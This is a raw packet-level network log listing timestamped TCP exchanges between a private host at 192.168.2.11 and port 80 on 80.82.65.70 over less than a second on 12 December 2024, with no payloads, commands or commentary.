Dec 12, 2024 16:48:27.466011047 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.466119051 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.466135025 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.466178894 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.467022896 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.467199087 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.467335939 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.467401981 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.468138933 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.468249083 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.468580961 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.468616009 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.469115019 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.469177008 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.469218969 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.470097065 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.470227957 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.471301079 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.471302032 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.471302032 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.471328020 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.471565008 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.472225904 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.472322941 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.472496033 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.473243952 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.473339081 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.473391056 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.474251986 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.474340916 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.475337982 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.475358963 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.475436926 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.475548983 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.476457119 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.476469040 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.477297068 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.477302074 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.477302074 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.477339029 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.477374077 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.477408886 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.478349924 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.478440046 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.479338884 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.479358912 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.479358912 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.479450941 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.479473114 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.479520082 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.480333090 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.480443954 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.480537891 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.481359959 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.481486082 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.482413054 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.482501030 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.482566118 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.482580900 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.483335018 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.483403921 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.483524084 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.483527899 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.483570099 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.484447002 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.484561920 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.485451937 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.485677958 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.486232996 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.486232996 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.486641884 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.486749887 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.487348080 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.487423897 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.487504959 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.491339922 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.625705957 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.625793934 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.625936031 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.626211882 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.626281023 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.626394987 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.626482010 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.626547098 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.627470970 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.627515078 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.627692938 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.627693892 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.628524065 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.628611088 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.628611088 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.628694057 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.629571915 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.629580021 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.629637003 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.630512953 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.630598068 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.630681038 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.630825043 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.631625891 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.631705046 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.631762028 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.632582903 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.632668972 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.632734060 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.632780075 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.633773088 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.633866072 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.633913994 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.634094954 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.634706974 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.634798050 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.634829998 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.634911060 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.635637999 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.635727882 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.635793924 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.636652946 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.636759996 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.636919975 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.637080908 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.637658119 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.637790918 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.637797117 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.637842894 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.638762951 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.638845921 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.638922930 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.638995886 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.639723063 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.639864922 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.639933109 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.640028954 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.640760899 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.640820980 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.640923023 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.641834974 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.641953945 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.641973019 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.642020941 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.642915964 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.642988920 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.643088102 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.643861055 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.643960953 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.643996954 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.644196987 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.644959927 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.645081043 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.645256042 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.645256042 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.645899057 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.646017075 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.646847010 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.646882057 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.646967888 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.647020102 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.647154093 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.647923946 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.648104906 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.648137093 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.648241043 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.648947954 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.649068117 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.649087906 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.649199963 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.649981022 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.650098085 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.650438070 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.650732040 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.651067019 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.651127100 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.651252985 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.652050018 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.652163029 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.652170897 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.652318001 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.653145075 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.653217077 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.653232098 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.653532982 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.654105902 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.654221058 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.654222012 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.654337883 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.655128956 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.655235052 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.655334949 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.655427933 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.656213999 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.656300068 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.656342030 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.656662941 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.657169104 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.657253027 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.657403946 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.657403946 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.658212900 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.658468962 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.658494949 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.658556938 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.659209013 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.659265041 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.659343004 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.660238028 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.660352945 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.660471916 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.660471916 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.661288023 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.661344051 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.661472082 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.661535978 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.662389040 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.662492037 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.662642956 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.663364887 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.663445950 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.663460970 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.663491011 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.664377928 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.664465904 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.664577007 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.665494919 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.665594101 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.665740013 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.665740013 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.666462898 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.666558027 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.666640997 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.667449951 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.667557001 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.667577982 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.667623997 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.668502092 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.668590069 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.669004917 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.669004917 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.669528008 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.669625044 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.669656038 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.669708014 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.670476913 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.670619011 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.670800924 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.671696901 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.671746969 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.671824932 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.671824932 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.672616005 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.672676086 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.673548937 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.673676968 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.674690008 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.674873114 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.674890041 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.674890041 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.674890041 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.674890041 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.675107002 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.675657988 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.675754070 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.675774097 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.676003933 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.676649094 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.676722050 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.676948071 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.677723885 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.677789927 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.677829027 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.678744078 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.678813934 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.678978920 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.818303108 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.818360090 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.818407059 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.818407059 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.818941116 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.818988085 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.819334030 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.819334030 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.819869995 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.819916010 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.819961071 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.820015907 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.821134090 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.821247101 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.821391106 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.821432114 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.822025061 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.822076082 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.822145939 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.822333097 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.823081970 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.823158026 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.823292017 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.823333979 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.824187994 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.824295044 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.824362040 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.824496031 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.825133085 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.825234890 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.825267076 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.825350046 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.826102972 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.826158047 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.826205015 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.827018976 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.827044010 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.827092886 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.827162981 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.827214003 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.828100920 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.828175068 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.828253031 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.828377008 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.829102039 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.829164028 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.829174995 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.829313993 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.830233097 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.830383062 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.830461979 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.830540895 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.831468105 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.831556082 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.831566095 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.831672907 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.832335949 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.832453966 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.832474947 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.832504988 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.833170891 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.833252907 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.833291054 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.833507061 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.834175110 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.834259033 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.834289074 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.834289074 CET	49882	80	192.168.2.11	80.82.65.70
